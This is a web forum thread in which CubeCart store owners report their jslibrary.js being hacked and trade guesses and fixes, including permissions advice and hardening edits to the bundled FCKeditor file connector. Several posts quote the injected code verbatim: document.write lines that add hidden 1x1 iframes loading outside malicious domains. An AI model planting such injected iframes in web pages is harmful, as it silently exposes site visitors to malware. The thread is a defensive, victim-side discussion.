Jump to content

jslibrary.js hacked - avast detected


Leo Clark

Recommended Posts

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

Link to comment
Share on other sites

  • Replies 93
  • Created
  • Last Reply

Top Posters In This Topic

Guest dracula2

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

Hi Leo. Got the exact same attack twice. It keeps writing to the js directory. Changing the permissions to 777 won't stop it, in fact this would allow full access. I changed my permissions to allow myself and it still writes to the directory(.js). Will follow this thread to see how to solve this annoyance.

Link to comment
Share on other sites

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

Hi Leo. Got the exact same attack twice. It keeps writing to the js directory. Changing the permissions to 777 won't stop it, in fact this would allow full access. I changed my permissions to allow myself and it still writes to the directory(.js). Will follow this thread to see how to solve this annoyance.

Hi there! I am sorry for that, but I am relieved to find out I am not the only one.

Hope there is a way to prevent this really soon.

And thanks for reminding me! 7777 was the exact opposite of what I wanted to do :)

Cheers!

Link to comment
Share on other sites

Guest karr1981

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

Hi Leo. Got the exact same attack twice. It keeps writing to the js directory. Changing the permissions to 777 won't stop it, in fact this would allow full access. I changed my permissions to allow myself and it still writes to the directory(.js). Will follow this thread to see how to solve this annoyance.

Hi there! I am sorry for that, but I am relieved to find out I am not the only one.

Hope there is a way to prevent this really soon.

And thanks for reminding me! 7777 was the exact opposite of what I wanted to do :)

Cheers!

Same here, seems to be targetted at cubecart stores, hope cubecart will look into this as an urgent issue and update us.

Out of interest i only yesterday installed the mod to display full purchase details in paypal, the estelle mod, dunno if thats related?

Link to comment
Share on other sites

Hi

This is extremely unlikely to be anything to do with the mod itself (although it is possible, Estelle's scripts are generally very well programmed). Hacks on files like this are caused by a combination of incorrect permissions on directories / files and insecure scripts. Most hosting companies run their servers using standard php which runs processes as the user "nobody". This means that directories that need to be writeable have to be set to 777 and files have to be 666. Any incorrectly set permissions on files or directories or insecure scripts within the account leaves the account open to this type of hack. We always use suPHP on all of our servers which effectively stops this type of attack, as php runs as the account user, meaning that directories can be set to 755 and individual files to 644 giving them vastly more protection.

If you are not 100% sure about setting file & directory permissions and do not trust the security of all scripts installed on your hosting account, then the most secure route is to find a hosting company that runs their servers using suPHP :whistle:

Ian

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

Hi Leo. Got the exact same attack twice. It keeps writing to the js directory. Changing the permissions to 777 won't stop it, in fact this would allow full access. I changed my permissions to allow myself and it still writes to the directory(.js). Will follow this thread to see how to solve this annoyance.

Hi there! I am sorry for that, but I am relieved to find out I am not the only one.

Hope there is a way to prevent this really soon.

And thanks for reminding me! 7777 was the exact opposite of what I wanted to do :)

Cheers!

Same here, seems to be targetted at cubecart stores, hope cubecart will look into this as an urgent issue and update us.

Out of interest i only yesterday installed the mod to display full purchase details in paypal, the estelle mod, dunno if thats related?

Link to comment
Share on other sites

Guest karr1981

Guys who got hacked what version do you have, i have 3.06 and have seen there's a patch to fix an upload exploit, this may be the reason we were targetted

if so go to download page and get the upload.php fix

Hi

This is extremely unlikely to be anything to do with the mod itself (although it is possible, Estelle's scripts are generally very well programmed). Hacks on files like this are caused by a combination of incorrect permissions on directories / files and insecure scripts. Most hosting companies run their servers using standard php which runs processes as the user "nobody". This means that directories that need to be writeable have to be set to 777 and files have to be 666. Any incorrectly set permissions on files or directories or insecure scripts within the account leaves the account open to this type of hack. We always use suPHP on all of our servers which effectively stops this type of attack, as php runs as the account user, meaning that directories can be set to 755 and individual files to 644 giving them vastly more protection.

If you are not 100% sure about setting file & directory permissions and do not trust the security of all scripts installed on your hosting account, then the most secure route is to find a hosting company that runs their servers using suPHP :whistle:

Ian

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

Hi Leo. Got the exact same attack twice. It keeps writing to the js directory. Changing the permissions to 777 won't stop it, in fact this would allow full access. I changed my permissions to allow myself and it still writes to the directory(.js). Will follow this thread to see how to solve this annoyance.

Hi there! I am sorry for that, but I am relieved to find out I am not the only one.

Hope there is a way to prevent this really soon.

And thanks for reminding me! 7777 was the exact opposite of what I wanted to do :)

Cheers!

Same here, seems to be targetted at cubecart stores, hope cubecart will look into this as an urgent issue and update us.

Out of interest i only yesterday installed the mod to display full purchase details in paypal, the estelle mod, dunno if thats related?

Link to comment
Share on other sites

Hi again,

karr1981 I do not believe it is MOD related. I dont have any of Estelle's on this particular store. Only Goober's Coupon Manager v2.5.

Is there a fix for that? I did not find it. And I agree that it seems to be a Cubecart oriented attack. I hope there is a solution soon.

I am on version 3.0.20 too, sdmdj.

And havenswift-hosting, thanks for you help.

I dont believe hostmonster has suPHP.

Anyway, I am counting on cubecart!

Cheers!

Link to comment
Share on other sites

Hi again,

karr1981 I do not believe it is MOD related. I dont have any of Estelle's on this particular store. Only Goober's Coupon Manager v2.5.

Is there a fix for that? I did not find it. And I agree that it seems to be a Cubecart oriented attack. I hope there is a solution soon.

I am on version 3.0.20 too, sdmdj.

And havenswift-hosting, thanks for you help.

I dont believe hostmonster has suPHP.

Anyway, I am counting on cubecart!

Cheers!

This is not a CubeCart problem - this is either :

1) A problem with the permission of the files within your hosting environment

2) An insecure script that has been added by yourself to your enviroment

3) Or caused by somebody gaiing access to your hosting environment either by knowing or guessing your FTP password

Link to comment
Share on other sites

Guest kerryww

Dear friends,

I believe my store was hacked. I found this piece of code on my jslibrary.js

document.write("<iframe src='http://osufoyysdf.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ==' width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432' width='1' height='1' frameborder='0'></iframe>");

I restored the original file and Avast is calm now.

Anything I should do? Does it help to change permissions to 7777? And it it ok to to that?

Thanks so much!!

Leo

I'm getting basically the same iframe code hack also - just a different url in it.

document.write("<iframe

src='http://hsdhdshsdfher.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAQMHBgINBQ=='

width='1' height='1' frameborder='0'></iframe>");

document.write("<iframe

src='http://dedede4.co.cc/notfound/inkujrgzk.php?n=setup2432'

width='1' height='1' frameborder='0'></iframe>");

Regards

Kerryww

Link to comment
Share on other sites

Cubecart 3.0.20 ships with FCKEditor 2.0FC.

If you would, please do something that will open an editor (edit a product, for example) and click the info button. State which version of the editor is shown.

In reviewing the changelogs of FCKEditor, I came across two instances where security updates were put in place.

Also please check if there is anything more than just a 'php' directory in this folder:

/admin/includes/rte/editor/filemanager/browser/default/connectors/

A full download from ckeditor.com (probably) of any v2 package will have the test.html file in it. If you have more than just the php folder, delete all the rest of it. However, I have not experimented with that file and so cannot comment on whether or not it is the vector of the vulnerability.

Link to comment
Share on other sites

Cubecart 3.0.20 ships with FCKEditor 2.0FC.

If you would, please do something that will open an editor (edit a product, for example) and click the info button. State which version of the editor is shown.

In reviewing the changelogs of FCKEditor, I came across two instances where security updates were put in place.

Also please check if there is anything more than just a 'php' directory in this folder:

/admin/includes/rte/editor/filemanager/browser/default/connectors/

A full download from ckeditor.com (probably) of any v2 package will have the test.html file in it. If you have more than just the php folder, delete all the rest of it. However, I have not experimented with that file and so cannot comment on whether or not it is the vector of the vulnerability.

I have FCKEditor 2.0FC as my version. I just have the php folder, nothing else in the path '/admin/includes/rte/editor/filemanager/browser/default/connectors/'

Link to comment
Share on other sites

My site has been hacked 4 times now. If I re upload all files it fixes it. Now how is that a host problem? I'm on Hostgator too. They run in suPHP on all shared servers so we can stop worring about this being a host problem.

I know CC3 is no longer going to be supported but this is serrous and needs attention immediately. Please help!

Link to comment
Share on other sites

Until it is known as to how exactly this defacing is being accomplished, we can only make educated guesses as to what we can suggest to cure this.

This is my educated guess as to a cure:

Download the latest FCKeditor package from here:

http://sourceforge.net/projects/fckeditor/

Unzip the package to a local folder and make the following changes:

Rename the top folder (probably 'fckeditor') to 'rte'.

Delete everything except: 'editor' folder, fckconfig.js, fckeditor.js, fckeditor.php, fckeditor_php4.php, fckeditor_php5.php, fckpakager.xml, fckstyles.xml, fcktemplates.xml, and license.txt.

Go to 'editor' then 'filemanager'. Make sure there are only the folders 'browser' and 'connectors' in this folder.

Go to 'connectors'.

Delete everything except the folder 'php'.

Go to 'php'.

Make sure there is only these files: basexml.php, commands.php, config.php, connector.php, io.php, phpcompat.php, upload.php, and util.php,

Open the file config.php for editing.

FIND:

// SECURITY: You must explicitly enable this "connector".
ADD above it:
// include store config

include("../../../../../../../includes/global.inc.php");


FIND:
$Config['Enabled'] = false ;
and set it to true.



Two lines down, change UserFilesPath to:
$Config['UserFilesPath'] = $glob['rootRel'].'images/uploads/' ;


FIND (at around line 133):
$Config['FileTypesPath']['Image'] = ...
 and make it equal to
$Config['UserFilesPath'] ;
That is, delete the period and the files/ in single quotes, and the quotes. Do the same for the next three lines. Save the file.



At your store's web space, go to /admin/includes and rename 'rte' to a random name that cannot be guessed. Upload the new rte folder here.



Test by trying to create/edit a product including adding an image and image link. If not successful, rename the new rte folder to something that cannot be guessed and restore the name of the original folder.



There may be more edits to these instructions.



The reason I am suggesting this is because there was an identified vulnerability in all versions of 2.6.4 and earlier, though I don't completely understand exactly how it was exploitable, it did have something to do with uploading.



This is no guarantee that this is the fix!



EDIT:

In the config.php file, instead of setting $Config['Enabled'] to true, try this instead (not fully tested):


include("../../../../../auth.inc.php");

if(permission("filemanager","write")==FALSE){

$Config['Enabled'] = false ;

} else {

$Config['Enabled'] = true ;

}


This might add a layer of permissions to enable the editor. If the editor is not enabled, the textarea form element should fall back to a regular textarea. (Oops! Meant to mean the file uploader is disabled if there is no permission.)



EDIT 2:

That permissions edit above doesn't seem to work. I don't know why yet. So ignore that for now.



EDIT 3:

In the same folder as config.php, open the file "connector.php" for editing.

FIND:

ob_start();

ADD after:
// Make sure admin session is present

include("../../../../../../../includes/ini.inc.php");

include("../../../../../../../includes/global.inc.php");

include("../../../../../../../includes/functions.inc.php");



require_once("../../../../../../../classes/db.inc.php");

$db = new db();

$config = fetchDbConfig("config");



include_once("../../../../../../../language/".$config['defaultLang']."/lang.inc.php");

$enableSSl = 1;

include_once("../../../../../../../includes/sslSwitch.inc.php");



include("../../../../../../includes/auth.inc.php");

This is the addition to FCKeditor by Devellion that requires an authenticated login before proceeding to process editor commands. I did not notice this in the version of FCKeditor 2.0FC that ships with CC3.0.20.

EDIT 4: See in a post below (#22).

Link to comment
Share on other sites

Guest mickymac

Likewise with the rest of you guys I'm in the same boat.

After contacting my hosting provider for answers they put me onto this forum where I've been combing through my files trying to find infections.

Interestingly enough we've got our website under a subfolder (e.g. www.google.com.au/shop) and at our domain level (www.google.com.au) we've got a little plain HTML page that forwards you onto the subfolder. What's really interesting is that this plain HTML file got code imported into it as well.

The hosting provider removed the lines in the .js file (as mentioned here) yesterday, however since then I've woke up this morning to find that I've had a different line added: free-counter.biz.ly added to a number of my files.

At this point in time it seems the more I comb through my files it almost seems that every page is infected. I'm inclined to think to just delete all the files and restore from a backup from a week or 2 ago prior to this happening and tweaking the permissions some more.

I'll certainly be watching this thread with interest that's for sure. - Here's hoping Cubecart will release an update to fix this vulnerability ASAP!

Link to comment
Share on other sites

Until it is known as to how exactly this defacing is being accomplished, we can only make educated guesses as to what we can suggest to cure this.

This is my educated guess as to a cure:

Download the latest FCKeditor package from here:

http://sourceforge.net/projects/fckeditor/

Unzip the package to a local folder and make the following changes:

Rename the top folder (probably 'fckeditor') to 'rte'.

Delete everything except: 'editor' folder, fckconfig.js, fckeditor.js, fckeditor.php, fckeditor_php4.php, fckeditor_php5.php, fckpakager.xml, fckstyles.xml, fcktemplates.xml, and license.txt.

Go to 'editor' then 'filemanager'. Make sure there are only the folders 'browser' and 'connectors' in this folder.

Go to 'connectors'.

Delete everything except the folder 'php'.

Go to 'php'.

Make sure there is only these files: basexml.php, commands.php, config.php, connector.php, io.php, phpcompat.php, upload.php, and util.php,

Open the file config.php for editing.

FIND:

// SECURITY: You must explicitly enable this "connector".
ADD above it:
// include store config

include("../../../../../../../includes/global.inc.php");


FIND:
$Config['Enabled'] = false ;
and set it to true.



Two lines down, change UserFilesPath to:
$Config['UserFilesPath'] = $glob['rootRel'].'images/uploads/' ;


FIND (at around line 133):
$Config['FileTypesPath']['Image'] = ...
 and make it equal to
$Config['UserFilesPath'] ;
That is, delete the period and the files/ in single quotes, and the quotes. Do the same for the next three lines. Save the file.



At your store's web space, go to /admin/includes and rename 'rte' to a random name that cannot be guessed. Upload the new rte folder here.



Test by trying to create/edit a product including adding an image and image link. If not successful, rename the new rte folder to something that cannot be guessed and restore the name of the original folder.



There may be more edits to these instructions.



The reason I am suggesting this is because there was an identified vulnerability in all versions of 2.6.4 and earlier, though I don't completely understand exactly how it was exploitable, it did have something to do with uploading.



This is no guarantee that this is the fix!



EDIT:

In the config.php file, instead of setting $Config['Enabled'] to true, try this instead (not fully tested):


include("../../../../../auth.inc.php");

if(permission("filemanager","write")==FALSE){

$Config['Enabled'] = false ;

} else {

$Config['Enabled'] = true ;

}


This might add a layer of permissions to enable the editor. If the editor is not enabled, the textarea form element should fall back to a regular textarea. (Oops! Meant to mean the file uploader is disabled if there is no permission.)



EDIT 2:

That permissions edit above doesn't seem to work. I don't know why yet. So ignore that for now.



EDIT 3:

In the same folder as config.php, open the file "connector.php" for editing.

FIND:

ob_start();

ADD after:
// Make sure admin session is present

include("../../../../../../../includes/ini.inc.php");

include("../../../../../../../includes/global.inc.php");

include("../../../../../../../includes/functions.inc.php");



require_once("../../../../../../../classes/db.inc.php");

$db = new db();

$config = fetchDbConfig("config");



include_once("../../../../../../../language/".$config['defaultLang']."/lang.inc.php");

$enableSSl = 1;

include_once("../../../../../../../includes/sslSwitch.inc.php");



include("../../../../../../includes/auth.inc.php");

This is the addition to FCKeditor by Devellion that requires an authenticated login before proceeding to process editor commands. I did not notice this in the version of FCKeditor 2.0FC that ships with CC3.0.20.

Thank you for your contribution. I have just finished applying your suggestion. Will report back as soon as possible if there is any news on its affect.

BTW would CKEditor work in CC3?

Link to comment
Share on other sites

Guest mickymac

+1 for applying the "hopeful" fix above.

I've also restored the rest of the site from backup just incase there were some other files that got affected that I haven't come across yet. Ahhh it's certainly all fun and games today, especially with this coming: http://www.bom.gov.au/products/IDQ65002.shtml

Link to comment
Share on other sites

EDIT 4:

Ok. In EDIT 3, the authenticating code was returned to the connector.php script as Devellion had originally put it there.

Now, we make a few more edits. In the file connector.php, since we have the line that includes("global.inc.php"), we don't need it in config.php. Additionally, in config.php, set $Config['Enabled'] back to false. Here's why...

In the file connector.php:

FIND:

if ( !$Config['Enabled'] )

	SendError( 1, 'This connector is disabled. Please check the "editor/filemanager/connectors/php/config.php" file' ) ;


ADD above:
if ( permission("filemanager","write") == TRUE ) $Config['Enabled'] = true ;

Should the permission test fail for any reason, the filemanager connector is not enabled.

If the permission function returns TRUE (for cases where a non-super-user administrator has been given permission or the administrator is a super-user), then the connector will be enabled.

I added this because I read a comment that someone found code in the admin login script that allowed the login to be bypassed. But what level of administrative permission did that allow?

Link to comment
Share on other sites

I know CC3 is no longer going to be supported but this is serrous and needs attention immediately. Please help!

This is what supported means. When v5 is released, v3 will no longer be supported and therefore no more security fixes... the solution will be to upgrade to the latest release, ie v4 if still supported, or more likely v5. Have you submitted a ticket to Devellion outlining the issue? It is possible the vulnerability was not through CubeCart, this is the risk you get with shared hosting.

However, if your hosting companies can conclusively pinpoint an entry point via their logs, this would help Devellion (via your support ticket) determine the issue, and provide a fix for it if necessary.

Link to comment
Share on other sites

Guest mickymac

I know CC3 is no longer going to be supported but this is serrous and needs attention immediately. Please help!

This is what supported means. When v5 is released, v3 will no longer be supported and therefore no more security fixes... the solution will be to upgrade to the latest release, ie v4 if still supported, or more likely v5. Have you submitted a ticket to Devellion outlining the issue? It is possible the vulnerability was not through CubeCart, this is the risk you get with shared hosting.

However, if your hosting companies can conclusively pinpoint an entry point via their logs, this would help Devellion (via your support ticket) determine the issue, and provide a fix for it if necessary.

Robsta,

I've spoke to my hosting company and they can confirm the infection definitely came from within Cubecart as they've reviewed their logs and certainly can't see any possible way that the infection got in. In addition to this my hosting provider mentioned that I'm the only one that actually uses Cubecart and as a result the only one that actually got the infection on their servers.

I tried to look to see if there was a way yesterday to contact Devellion however as I'm not a paying user I couldn't see how to proceed. If you are able to point me into the right direction then I'd also be happy to submit my findings to work on getting a security fix for this issue once and for all :)

Link to comment
Share on other sites

For the suspect exploit, we are looking for a web log entry that has either of these two POST lines:

/admin/includes/rte/editor/filemanager/connectors/php/connector.php?(snipped)

/admin/includes/rte/editor/filemanager/connectors/php/upload.php?(snipped)

Unfortunately, standard web logs do not show what was posted. But, if these lines are not in the log, then maybe this is not the presumed vector.

Mickymac, did your host say that they compared the timestamp of the damaged/replaced file with the logs to narrow down the search to a known timeframe?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.




×
×
  • Create New...